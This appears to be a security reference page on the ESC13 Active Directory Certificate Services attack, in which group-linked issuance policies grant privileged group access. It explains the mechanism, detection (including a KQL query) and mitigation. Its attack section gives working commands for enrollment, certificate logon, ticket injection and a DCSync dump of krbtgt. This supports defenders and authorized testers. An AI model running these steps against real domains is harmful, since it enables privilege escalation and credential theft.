How it works
Authentication Mechanism Assurance (AMA) lets an organization grant access only when a user signs in with a particular kind of certificate. It rests on three directory objects in Active Directory Certificate Services:
- A certificate template lists one or more issuance policy OIDs in
msPKI-Certificate-Policy. The CA copies them into the certificate policies extension of every certificate it issues from the template. - Each issuance policy is an OID object of class
msPKI-Enterprise-OidunderCN=OID,CN=Public Key Services,CN=Servicesin the configuration partition. - The OID object's
msDS-OIDToGroupLinkattribute can hold the distinguished name of a universal security group.
When a user authenticates with PKINIT, the certificate form of Kerberos authentication, the domain controller reads the issuance policies in the certificate, looks up their OID objects, and adds the SID of each linked group to the authorization data of the ticket-granting ticket. Services then treat the user as a member of that group for the life of the ticket. The group itself stays empty: AMA groups are meant to have no direct members.
ESC13 is the case where this design hands out more than intended:
- The template has an authentication EKU and an issuance policy with a group link.
- A principal who should not hold the group's rights can enroll: often Domain Users or Authenticated Users.
- The template needs neither manager approval nor an authorized signature.
The enrollee asks for a certificate in their own name. Nothing is spoofed. They sign in with it and the ticket carries the group. If the group is Domain Admins, has replication rights, or is nested into something privileged, that is a direct privilege escalation.
The same result can be built by someone who can write the objects involved: adding a group link to an OID object, or adding a linked policy to a template they control (ESC4, ESC5). Used that way it is a quiet backdoor, a shadow admin path that no group membership shows.
Prerequisites
- A published template with an authentication EKU and an issuance policy whose OID object has
msDS-OIDToGroupLinkset. - Enroll rights on that template for an account the attacker controls, and no approval or signature requirement.
- A linked group that holds rights worth having. AMA links issuance policies to universal security groups.
- Network access to the CA and to a domain controller for the certificate logon.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find linked issuance policies
Certipy shows the issuance policies and linked groups of each template, and with -oids the OID objects themselves:
certipy find -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -vulnerable -stdout
certipy find -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -oids -stdout
A vulnerable template lists Issuance Policies with the OID, Linked Groups with the group's distinguished name, and an ESC13 line. The -oids output also shows who can write each OID object.
Certify 2.x marks the template and can list the linked OIDs:
Certify.exe enum-templates --filter-enabled --filter-vulnerable --hide-admins
Certify.exe enum-pkiobjects --show-linked-oids
With the ActiveDirectory module, the links can be read directly:
$cfg = (Get-ADRootDSE).ConfigurationNamingContext
Get-ADObject -SearchBase "CN=OID,CN=Public Key Services,CN=Services,$cfg" `
-LDAPFilter "(msDS-OIDToGroupLink=*)" `
-Properties msDS-OIDToGroupLink, msPKI-Cert-Template-OID |
Select-Object Name, 'msDS-OIDToGroupLink', 'msPKI-Cert-Template-OID'
Check-ADCSESC13.ps1 from the researcher who named the technique runs the same enumeration and then lists the templates that carry each linked policy.
2. Check what the group can do
The finding is only as serious as the group. Read its memberships and look for ACLs that name it:
Get-ADGroup 'PKI-Tier0-Access' -Properties MemberOf, Members
3. Enroll in the template
The request is ordinary. No subject, UPN or SID is supplied:
certipy req -u 'alice@corp.example.com' -p '<password>' \
-dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' \
-ca 'CORP-CA' -template 'Tier0SmartcardLogon'
Certipy saves alice.pfx. With Certify:
Certify.exe request --ca SRV01.corp.example.com\CORP-CA --template Tier0SmartcardLogon
4. Sign in with the certificate
certipy auth -pfx 'alice.pfx' -dc-ip 192.0.2.10
The resulting alice.ccache is a TGT for alice whose authorization data includes the linked group. On Windows:
Rubeus.exe asktgt /user:alice /certificate:<base64-pfx> /ptt
5. Use the group's rights
The ticket is used like any other. If the linked group can replicate the directory, DCSync works with it:
export KRB5CCNAME=$PWD/alice.ccache
secretsdump.py -just-dc-user krbtgt -k -no-pass -dc-ip 192.0.2.10 'corp.example.com/alice@DC01.corp.example.com'
On Windows, running Invoke-Command -ComputerName DC01 -ScriptBlock { whoami /all } with the injected ticket shows the linked group among the user's groups.
Impact
The attacker holds whatever the linked group holds, for as long as they can sign in with the certificate: until it expires or is revoked. Renewing the certificate extends that. Because the access is attached to the ticket and not to the account, it is absent from every report that lists group members, and a password reset of the account changes nothing.
The severity follows the group. Many AMA deployments link to a group that guards a small set of servers. Some link to an administrative tier, and then one enrollment gives that tier to every account that can enroll.
OPSEC and artifacts
- Nothing is spoofed. The operator enrolls as themselves in a template they are allowed to use. The request has no supplied subject and no unusual attribute, so the request-level checks used for ESC1 do not fire.
- The issuance is still recorded. The CA writes event 4886 and event 4887 with the requester and, in the newer event version, the template. A first-time requester on a template tied to a privileged group is visible there and in the CA database.
- No group change events. The group's
memberattribute is never touched, so the membership events that group monitoring relies on do not appear. - A certificate logon by a user who has no smart card. Event 4768 shows the certificate pre-authentication with issuer and serial number. The source is the operator's host.
- Privileged actions under an unprivileged name. Whatever is done with the ticket is logged with the user's own account. An ordinary user replicating the directory or administering a domain controller is the trace that remains.
- Creating the link leaves a write. An operator who builds the condition instead of finding it writes
msDS-OIDToGroupLinkon an OID object ormsPKI-Certificate-Policyon a template, each a event 5136 in the configuration partition when directory change auditing covers it.
Detection
- Links and linked policies being written. A 5136 that sets
msDS-OIDToGroupLinkon anmsPKI-Enterprise-Oidobject, or adds an issuance policy to apKICertificateTemplateobject, is rare and should be reviewed every time. The issuance policy group link rules cover both writes. - Issuance from linked templates. Keep a list of templates whose policies are linked to groups and alert on 4887 for them when the requester is not on the list of intended users.
- Template changes. Enrollment rights widened on a linked template: the certificate template modification rules.
- Inventory. Run the enumeration in step 1 on a schedule. Any link to a group that is privileged, or nested into a privileged group, is a finding by itself.
// Issuance policy group links written in the configuration partition
WindowsEvent
| where EventID == 5136 and Provider == "Microsoft-Windows-Security-Auditing"
| extend Attribute = tostring(EventData.AttributeLDAPDisplayName),
ObjectDN = tostring(EventData.ObjectDN),
Value = tostring(EventData.AttributeValue),
Operation = tostring(EventData.OperationType),
Actor = tostring(EventData.SubjectUserName)
| where Attribute in~ ("msDS-OIDToGroupLink", "msPKI-Certificate-Policy")
| project TimeGenerated, Computer, Actor, ObjectDN, Attribute, Value, Operation
Event 5136 for these objects needs Audit Directory Service Changes on domain controllers and a SACL on the Public Key Services container that audits writes.
Mitigation
- Remove links that are not a deliberate design. Clear
msDS-OIDToGroupLinkon OID objects nobody can explain. Treat any link to a privileged group as critical. - Restrict enrollment on linked templates. Enroll should go only to the people who are meant to receive the group's access. Remove Domain Users, Authenticated Users and Domain Computers.
- Add issuance requirements. Manager approval or an authorized signature on a linked template puts a person between the request and the access.
- Keep linked groups small in scope. Do not nest an AMA group into administrative groups, and do not grant it rights beyond the resource it was created for.
- Protect the OID container and the templates. Only Tier 0 administrators should be able to write objects under
CN=Public Key Services. The Active Directory hardening guide puts the PKI objects in the Tier 0 review. - Shorten validity on linked templates so that a certificate obtained once does not grant the access for years.
- Audit the configuration partition. The audit policy guide covers directory service change auditing; add the SACL on the PKI objects.
- After an incident, revoke the certificates issued from the template to unintended requesters, publish a CRL, and review what the linked group's rights were used for.
Detection rules for this attack
Log events to collect
FAQ
What is an OID group link?
An issuance policy is represented in the directory by an msPKI-Enterprise-Oid object. Its msDS-OIDToGroupLink attribute can point to a universal security group. When someone signs in with a certificate that carries that issuance policy, the domain controller adds the group's SID to the ticket. Microsoft calls the feature Authentication Mechanism Assurance.
Does the attacker become a member of the group?
No. The group's member list does not change and no group membership event is logged. The group SID is added to the Kerberos ticket at sign-in, so the access exists only in sessions that started with the certificate. That is why membership reviews do not find it.
Is an OID group link always a vulnerability?
No. It is a supported design for granting access only when a user signs in with a smart card or another strong method. It becomes ESC13 when the template that carries the policy can be enrolled by users who should not get the group's access, or when the linked group has more rights than the design intended.
Does strong certificate mapping stop ESC13?
No. The certificate is issued to the attacker's own account with their own SID, so it maps strongly and correctly. The extra access comes from the issuance policy in the certificate, not from the identity mapping.
References
- ADCS ESC13 Abuse Technique (Jonas Bulow Knudsen, SpecterOps)
- Steal or Forge Authentication Certificates, T1649 (MITRE ATT&CK)
- Authentication Mechanism Assurance for AD DS Step-by-Step Guide (Microsoft Learn)
- ms-DS-OIDToGroup-Link attribute (Microsoft Learn)
- Certipy wiki: Privilege Escalation, ESC13
- Certify wiki: Escalation Techniques, ESC13
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.